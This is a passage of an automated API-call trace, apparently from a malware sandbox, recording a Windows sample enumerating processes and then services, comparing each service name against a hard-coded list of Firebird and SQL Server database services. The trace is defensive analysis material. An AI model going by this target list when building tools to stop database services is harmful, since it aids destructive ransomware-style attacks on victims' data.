thee.exe") returned 17 [0175.327] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0175.328] lstrlenW (lpString="barriers.exe") returned 12 [0175.328] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0175.328] lstrlenW (lpString="shootclick.exe") returned 14 [0175.328] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0175.329] lstrlenW (lpString="nickel.exe") returned 10 [0175.329] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0175.330] lstrlenW (lpString="imperialopened.exe") returned 18 [0175.330] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0175.331] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0175.331] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0175.332] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0175.332] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0175.332] lstrlenW (lpString="perhapssentences.exe") returned 20 [0175.332] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.333] lstrlenW (lpString="svchost.exe") returned 11 [0175.333] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0175.436] lstrlenW (lpString="chrome64b.exe") returned 13 [0175.436] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0175.436] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0175.437] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.437] lstrlenW (lpString="conhost.exe") returned 11 [0175.437] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0175.438] lstrlenW (lpString="cmd.exe") returned 7 [0175.438] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.439] lstrlenW (lpString="conhost.exe") returned 11 [0175.439] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0175.439] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0175.440] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0175.440] CloseHandle (hObject=0x370) returned 1 [0175.440] Sleep (dwMilliseconds=0x1f4) [0176.024] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7cea50 [0176.024] EnumServicesStatusExW (in: hSCManager=0x7cea50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0176.024] GetLastError () returned 0xea [0176.024] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f5e) returned 0x43806e8 [0176.024] EnumServicesStatusExW (in: hSCManager=0x7cea50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43806e8, cbBufSize=0x1f5e, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43806e8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0176.025] CloseServiceHandle (hSCObject=0x7cea50) returned 1 [0176.025] lstrlenW (lpString="Appinfo") returned 7 [0176.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0176.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0176.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0176.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0176.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0176.025] lstrlenW (lpString="AppXSvc") returned 7 [0176.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0176.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0176.026] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0176.026] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0176.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0176.026] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0176.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.026] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0176.026] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0176.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0176.026] lstrlenW (lpString="Audiosrv") returned 8 [0176.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0176.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0176.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0176.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0176.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0176.026] lstrlenW (lpString="BFE") returned 3 [0176.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0176.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0176.026] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0176.026] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0176.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0176.026] lstrlenW (lpString="BITS") returned 4 [0176.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0176.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0176.026] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0176.026] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0176.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0176.026] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0176.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0176.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0176.026] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0176.026] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0176.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0176.026] lstrlenW (lpString="CDPSvc") returned 6 [0176.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0176.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0176.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0176.027] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0176.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0176.027] lstrlenW (lpString="ClickToRunSvc") returned 13 [0176.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0176.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0176.027] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0176.027] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0176.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0176.027] lstrlenW (lpString="ClipSVC") returned 7 [0176.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0176.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0176.027] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0176.027] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0176.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0176.027] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0176.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0176.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0176.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0176.027] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0176.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0176.027] lstrlenW (lpString="CryptSvc") returned 8 [0176.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0176.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0176.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0176.027] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0176.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0176.027] lstrlenW (lpString="DcomLaunch") returned 10 [0176.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.027] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0176.027] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0176.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0176.028] lstrlenW (lpString="DeviceAssociationService") returned 24 [0176.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0176.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0176.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0176.028] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0176.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0176.028] lstrlenW (lpString="Dhcp") returned 4 [0176.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0176.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0176.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0176.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0176.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0176.028] lstrlenW (lpString="Dnscache") returned 8 [0176.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0176.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0176.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0176.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0176.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0176.028] lstrlenW (lpString="DoSvc") returned 5 [0176.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0176.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0176.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0176.028] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0176.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0176.028] lstrlenW (lpString="DPS") returned 3 [0176.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0176.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0176.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0176.028] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0176.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0176.028] lstrlenW (lpString="DusmSvc") returned 7 [0176.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0176.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0176.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0176.029] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0176.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0176.029] lstrlenW (lpString="EventLog") returned 8 [0176.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0176.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0176.029] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0176.029] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0176.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0176.029] lstrlenW (lpString="EventSystem") returned 11 [0176.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0176.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0176.029] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0176.029] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0176.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0176.029] lstrlenW (lpString="FontCache") returned 9 [0176.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0176.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0176.029] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0176.029] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0176.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0176.029] lstrlenW (lpString="gpsvc") returned 5 [0176.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0176.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0176.029] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0176.029] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0176.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0176.030] lstrlenW (lpString="iphlpsvc") returned 8 [0176.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.030] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0176.030] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0176.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0176.030] lstrlenW (lpString="KeyIso") returned 6 [0176.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0176.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0176.030] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0176.030] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0176.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0176.030] lstrlenW (lpString="LanmanServer") returned 12 [0176.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0176.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0176.030] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0176.030] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0176.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0176.030] lstrlenW (lpString="LanmanWorkstation") returned 17 [0176.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.030] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0176.030] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0176.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0176.030] lstrlenW (lpString="lfsvc") returned 5 [0176.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0176.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0176.030] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0176.030] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0176.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0176.031] lstrlenW (lpString="LicenseManager") returned 14 [0176.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0176.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0176.031] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0176.031] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0176.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0176.031] lstrlenW (lpString="lmhosts") returned 7 [0176.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0176.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0176.031] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0176.031] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0176.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0176.031] lstrlenW (lpString="LSM") returned 3 [0176.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0176.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0176.031] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0176.031] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0176.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0176.031] lstrlenW (lpString="MpsSvc") returned 6 [0176.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0176.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0176.031] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0176.031] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0176.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0176.031] lstrlenW (lpString="NcbService") returned 10 [0176.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0176.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0176.031] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0176.031] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0176.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0176.032] lstrlenW (lpString="netprofm") returned 8 [0176.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0176.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0176.032] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0176.032] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0176.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0176.032] lstrlenW (lpString="NlaSvc") returned 6 [0176.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0176.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0176.032] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0176.032] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0176.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0176.032] lstrlenW (lpString="nsi") returned 3 [0176.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0176.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0176.032] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0176.032] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0176.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0176.032] lstrlenW (lpString="PcaSvc") returned 6 [0176.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0176.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0176.032] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0176.032] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0176.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0176.032] lstrlenW (lpString="PlugPlay") returned 8 [0176.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0176.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0176.032] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0176.032] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0176.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0176.033] lstrlenW (lpString="Power") returned 5 [0176.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0176.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0176.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0176.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0176.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0176.033] lstrlenW (lpString="ProfSvc") returned 7 [0176.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0176.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0176.033] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0176.033] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0176.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0176.033] lstrlenW (lpString="RpcEptMapper") returned 12 [0176.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.033] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0176.033] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0176.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0176.033] lstrlenW (lpString="RpcSs") returned 5 [0176.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0176.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0176.033] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 